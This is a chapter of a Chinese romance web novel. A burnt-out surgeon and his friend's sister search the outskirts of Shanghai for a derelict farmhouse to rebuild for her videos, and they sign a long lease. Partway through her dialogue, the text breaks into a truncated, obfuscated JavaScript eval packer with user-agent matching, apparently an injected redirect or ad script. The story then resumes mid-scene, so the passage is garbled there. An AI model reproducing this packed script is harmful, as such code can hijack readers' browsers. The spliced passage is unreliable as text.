他是个低能量的人，舒元却是个绝对的高能量个体。只是跟她坐上一会儿，听她说一说未来，聊一聊工作，他角色自己都变得更有劲儿了似的，想应和她两句，跟着她一起大干一场。 真诱人啊，在舒元的话里，搞基建像露营一样好玩。 好像那些脏乱、疲惫都不存在一样，她真是个乐观、不怕困难的姑娘。 “我们先去浦东看看，能不能买到或者租到合适的房子吧。”易书鸢说。 “应该可——啊，鸢哥你同意了？”舒元霍地睁大双眼，那双黑白分明的大眼睛向太阳一样，晃得他几乎不敢直视。 “试一试。”易书鸢总是会想到许多许多困难，但在这一刻，他被舒元说动，也想像她那样，充满干劲地去做一次听起来有些“荒唐”的尝试。 一个医学博士，要去玩泥巴了。 “好啊！”舒元双手合十，激动地脸颊通红，“我们去找房子的路上，我能问你一些关于口腔健康的问题吗？第三期‘健康科普’，我想做这个方向的。” 易书鸢忍俊不禁，“你真是物尽其用啊。” 舒元不好意思地笑笑，她好像真的争取到了，一个可以跟他朝夕相处的机会。 16. 新的家园 舒逸听说了易书鸢要跟舒元去浦东找个网上那种“老家带院子的大房子”一样的环境，开始从零开始建一个漂亮的带院别墅，不敢置信地瞠目，久久说不出话来。 他们这些本博连读的医学生，各个都过着按部就班的生活。在他们的生活里，只有当什么医生，去哪家好医院当医生，怎么更快地升职成为牛逼医生，怎么可能有人医生不做了，跑去干体力活？还要配合着舒元拍基建视频？ 他还等着易书鸢远离尘嚣地修养个一年半载后再回来呢，易书鸢可是他们圈子里的超级高才生，他的手术是可以在课上当表演教学的程度。 那双拿手术刀，进行超精细操作的手，拿着锄头除草，拿着抹子抹墙？ “我们家生出舒元这么个离经叛道的艺术生就罢了，你怎么也被她带偏了，要跟着她胡闹啊？”舒逸看着面前光风霁月的易医生，怎么也想不出他在农村大院子里灰突突地站着会是个什么样。 “从小被人安排好一整个人生，要追逐每一个节点，按时按点地当精英，会不会也是另一种无趣的人生？”易书鸢的视线穿过高楼大厦，望向远方，“离经叛道一次，做点从没想过会做的事，好像也挺令人期待的。” 而且，可以跟舒元一起工作，那一定会很有趣吧。 在院里城市中心的远郊，只有他们两个。她常常与他独处，会渐渐忘掉青青的爸爸吗？有没有那么一种可能，她慢慢不再只将他当成亲哥的朋友…… “你纯粹是为了帮元元吧？我早就说过，你不能总是想着照顾身边人，你这病就是这么得上的。你就应该再自私点，脾气大一点。”舒逸瞪着易书鸢，叹气道：“元元要搞基建，回头我想办法帮她，你不要把自己搭进去。经历了这么多事儿，你就够不容易的了，怎么还想着陪着元元胡闹呢。” 易书鸢忽然抬眸朝着舒逸笑了笑，“舒元刚跟我说起这个事儿的时候，我也对她说过跟你几乎一样的话。那时候，我以为是你让舒元照顾我、陪着我，才想出个搞基建的点子。” “啊？”舒逸有点没反应过来，这事儿怎么能算是帮易书鸢。 “其实我这两天也一直在想要去哪儿。我总不能什么都不做，只四处旅游吧，那也太虚无了，想一想其实挺颓的，也觉得很无所事事，很茫然。”易书鸢搓了搓面前的饮料杯，“我也想找点事做，没有压力的，能消耗大量体力、帮助我更快更好地入睡的，能让我多晒太阳、多亲近大自然的，还能给我一定的正向反馈、让我感到自己有用且被需要的……你看，舒元是不是帮我解决了很多问题？” “这么听起来，元元的胡闹项目，简直是为你量身定做的。”舒逸好像有些明白了。 “是啊，这就是为什么我会觉得，她之所以提议跟我一起搞基建，是你托她来帮我的忙。”易书鸢看着自己捏起杯子时仍有些抖的右手，放下饮料杯后，又说：“你说，我是不是应该对未来充满期待？” “……”舒逸抿了抿唇，终于松懈下来。他看着易书鸢，想要确定对方真是这么想的，可易书鸢一向很懂得藏起自己的情绪，这家伙不想让人看透的时候，谁也别想猜到他在想什么，“好吧。不过到时候，租房子、买各种材料，还有干活，你可不能自己一个人全包了，也得让舒元承担一部分。不然就太不好意思了。” “舒逸，你还不了解你妹妹吗？她可不是会心安理得享受他人照顾的人。” … 舒元剪辑好关于“女性卫生”的第二期“健康科普”栏目视频，发布后便开始查浦东地图，了解那边的情况。 第二天早上出门时，她带上了一张画了好几个圈圈的浦东地图。 易书鸢接过舒元递过来的地图看了看，探身从车后排座位上也捞过一张地图，上面同样圈点了几个位置。 两张地图摆放在一块儿，他们各自标注的地点，有许多重合之处。 舒元抬头与他对视，两人默契地笑笑。 他们做事情还都挺有规划的，于是便在从两个人都选了的地点开始，一个一个地过去勘察。 上海这样繁华的城市，高楼大厦好像可以绵延不绝到城市最外围。但实际上，在这样繁华的城市周边，也有许多农田菜地。那些耕地浇田的人，同样也是上海人。 他们路过了一些长满蒿草和稀疏树木的郊野，看到了在郊野中开辟出的驾校，穿过仍称得上繁华的小镇，缓慢驶过两边错落建着许多平方土屋的泥土小路…… 连续一周，他们试过找中介，发现中介对于这类房源是很陌生的，只能自己找。在路边看到合适的，就四处去问，这院子房子是谁的。 他们发现这些房子因为手续问题，大多数都没办法买卖，只能出租。租也是可以的，他们倒没有图那一个房产。只是有的房子燃起供应有问题，有的下水系统有问题，有的位置太荒芜，有的又完全置身在村镇众多无聊的老年人视线之中…… “失望吗？有没有泄气？”第四天，两天离开有一座院子时，易书鸢转头问舒元。 “不失望，找房子就是这样的，我陪朋友看过房，四处跑，一个一个地挑选，本来就不可能一下便成功。”舒元喝一口水，仰头问他：“你呢？心情如何？” “……”易书鸢站在路边，靠着自己的车，面朝着一片广阔的菜田。深秋时节，菜田有些荒芜，只那些架了大棚的区域隐约可见茂盛的绿。 呼吸间是田野的味道，草、树和一些说不上来的野外气息，风比城市里大，吹得刘海四处乱飞。 可他放眼远眺，可以看到好远好远的地方啊。深呼吸再吐出，再吸，再吐出，一种豁然的感觉渐渐涌上来，自己仿佛成了个气球，变得轻盈许多。 转眸，舒元仍在看着他。可易书鸢的情绪很复杂，很难用简单的语言表达。 “你呢？心情如何？”他不知不觉间重复了她的话。 舒元忍俊不禁，与他并排靠在车上，面朝菜田。 “你看，原来再繁华的城市，也有边界。人口好像也并没有一直无休止地膨胀，房价没有一直暴涨，楼房也没能一直建到上海每一片土地。开车1个多小时，我们就能穿出逼仄的钢铁丛林，来到一片大自然。 “人生是不是也可以这样，不必一直建设、一直发展，可以停一停，甚至倒退一下。 “不过是不同的风景而已，其实也没那么可怕，无需太过因为城市里的那些事儿感到焦虑和恐惧。” 舒元走进菜田，揪了一根蒿草走回来，递给易书鸢。 两个人的手指一起搓揉枯草，揉出仅剩的草汁，染得指尖全是涩涩的草浆味道。 “其实不需要找到院子，此时此刻，在寻找的路上，我们就已经逃出来了。”舒元说： “你的目标是远离过去，让自己渐渐放下。 “我的目标是拍些素材。 “你现在就站在过去从未涉足的地方，这里除了我，没有任何你熟悉的人和事。 “我的镜头也架在那儿，哪怕拍的是空境，也能在未来的剪辑中起到作用。” 人常常追寻着追寻着，就忘记了自己到底在追什么。 何必那么执着于最大效率地去找房子，而忘记了他们两个人最初的目标。 天使—— 易书鸢看着舒元，心里浮上这个词。 她不应该拍什么视频，应该去网上写鸡汤，做心灵导师，准能治愈不少人。 “我已经感觉到了。”他说。 舒元回头朝着他笑，她听懂了他的话，知道他感觉到的是什么。 秋风瑟瑟，吹得远处大棚塑料罩猎猎作响。 一个塑料袋翻滚着飞过菜田，风往哪里吹，它就旅行去哪处。 他们沉默地看塑料袋，看远方目力所及的一切，让自己放空，让心渐渐静下来。 许久后，易书鸢忽然开口，说的却不是他的事，而是很久很久之前他就想问，却一直憋忍着没有问出口的话。 沉疴的治愈，对过往的放下，从问出一些存在心里许久许久、几乎快存成病的疑惑开始吧： “当初，你为什么选择生下孩子？” 为了跟父母唱反调吗？ 因为叛逆吗？ 还是因为对那个没能陪她一起抚养孩子的男人？ 舒元从没跟任何人说过她真实的想法，连舒逸也问不出来。 对于“生下孩子”和“孩子父亲”这些事，她总是避而不谈。易书鸢一直很想很想知道原因，只是“知进退”的他一直压抑着自己的渴望，直到此刻。 他想试着问一下，或许她会拒绝回答，但也许他可以坦率一点，不要那么恐惧“做不合时宜的事”。 舒元似乎没想到他会忽然问这个问题，盯着他看了好一会儿，才转头望着菜田思索起来。 易书鸢不知道她是在思考如何拒绝回答，还是在思考如何回答，但问出口的那一刻，他发现展露自己的好奇好像也没有那么令人无法忍受。 “想要被爱。”舒元终于开了口。 她没有拒绝回答，也没有询问他为什么想知道。一切令易书鸢恐惧的事都没有发生，舒元打破了他的“恐惧预设”，用行为告诉他：这世上不是所有人都拒绝交谈，也不是所有人都会在对话时攻击他脆弱的情感。 悄悄舒口气的瞬间，易书鸢感觉到了一丝安全感。 是的，放下父母曾经印刻在他精神世界里的恐惧，或许会发现，家之外的世界，并没有那么危险。 “被爱？”他转头观察她的表情。 “嗯。”舒元点头，因为爱，也因为想要被爱。她的语速很慢，耐心地剖析自己的想法： “我哥总会结婚拥有他自己的家庭，身边的朋友们也是如此。但我未必能走进婚姻……只有我的孩子一定是爱我的。 “小时候我从没玩过的娃娃，现在我跟青青一起玩过了。小时候一直想要很多很多毛绒玩具，我第一个毛绒玩偶还是鸢哥你送的，现在借着给青青买玩具这个正当理由，我买了一柜子那么多。我还跟着青青读了很多很多有趣的童书，看了《熊出没》《小猪佩奇》和《喜羊羊与灰太狼》…… “夏天的时候，我带着青青去捉过蝉，用网捕过蝴蝶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那就当陪着青青，重拾儿童期调皮捣蛋的快乐。”易书鸢学着她的逻辑，接她的话。 “你很好，有灵性，学得很快。”舒元一本正经地点头夸赞。 “哈哈。”易书鸢的笑声自然而然地逸出，低低的，被风卷起，吹出轻柔的回声，融进呼呼风里。 舒元耳朵动了动，低头垂眸，藏起心动和砰然。 离开美好的菜田，他们的车继续向前开，终于在驶过一条小桥后，看到了又一个空置的农家院。 穿过小桥的河西边是个很大的有影院商场的镇子，镇子的路一直延伸向高价匝道，通往繁华的城区。 小桥另一边的河南岸，小路一边是不小的村落，住着附近的菜农和留守的老人。排排屋舍林立，有杂货铺、小卖部。小路另一边就是田野、菜田，一个孤零零的空置院落，和几幢废弃的屋舍。 舒元和易书鸢都一眼看中了这个院子，房主老太太已经不主事了，她话不多的儿子毛磊并不好说话，他觉得这两个城里过来的体面人就是来耍他们玩的，肯定租几个月就受不了，要跑回市区了。 毛磊不给易书鸢和舒元短租，要租就租80年，月租500元。 易书鸢并没有因为毛磊的强势不讲道理而退缩，他耐心地与对方拉锯。 “60年，月租300，不能更低了。”1个多小时后，毛磊终于松了口，折合下来仍要216000元，一口气付清并不是个小数目。 易书鸢居然爽快同意了。 他给当律师的朋友发了信息，让对方拟一个严格的合同。如果毛磊反悔，要全额退还房租，还要根据易书鸢和舒元在这栋房子里花掉的所有钱，加上从签约日起两个人的日薪费用。 第二天，易书鸢和舒元拿着拟好的合同过来跟毛磊签约。合同一式2份，签好之后，易书鸢给毛磊转了账，毛磊签好收据…… 这件事居然就这样办好了，舒元ppt中的第一步，完美完成。 看着易书鸢收好合同和收据，舒元走过去，商量跟易书鸢一起承担房租。她没办法一口气转十万给他，但可以分期慢慢转给他。 易书鸢笑着伸手攥住她手腕，微微朝她倾身，凑到她耳边说： “两个人合伙签约，还要拆分我们两个的权益，太麻烦了。 “以后在这里基建拍摄，你赚到钱，给我买家具和装修材料吧。” 舒元因他忽然凑近而僵住，等回神想再跟他讨论一下事，他已经转身走进了院子。 自建房里水电煤气和下水都有，管道也还在，只是都老旧了。院子大概已经有两三年没人打理，蒿草长得跟人一样高。 房顶漏水，没有一扇窗有玻璃，倒是有许多蜘蛛网拉出的窗幔挂得东倒西歪，硬要给这里做一下归纳，只有“狂野自然风”5个字。 易书鸢却很满意，虽然荒芜，但从今天起，他有了新的家园。 接下来，他将在这里重建屋舍院落，也重建自己的精神世界。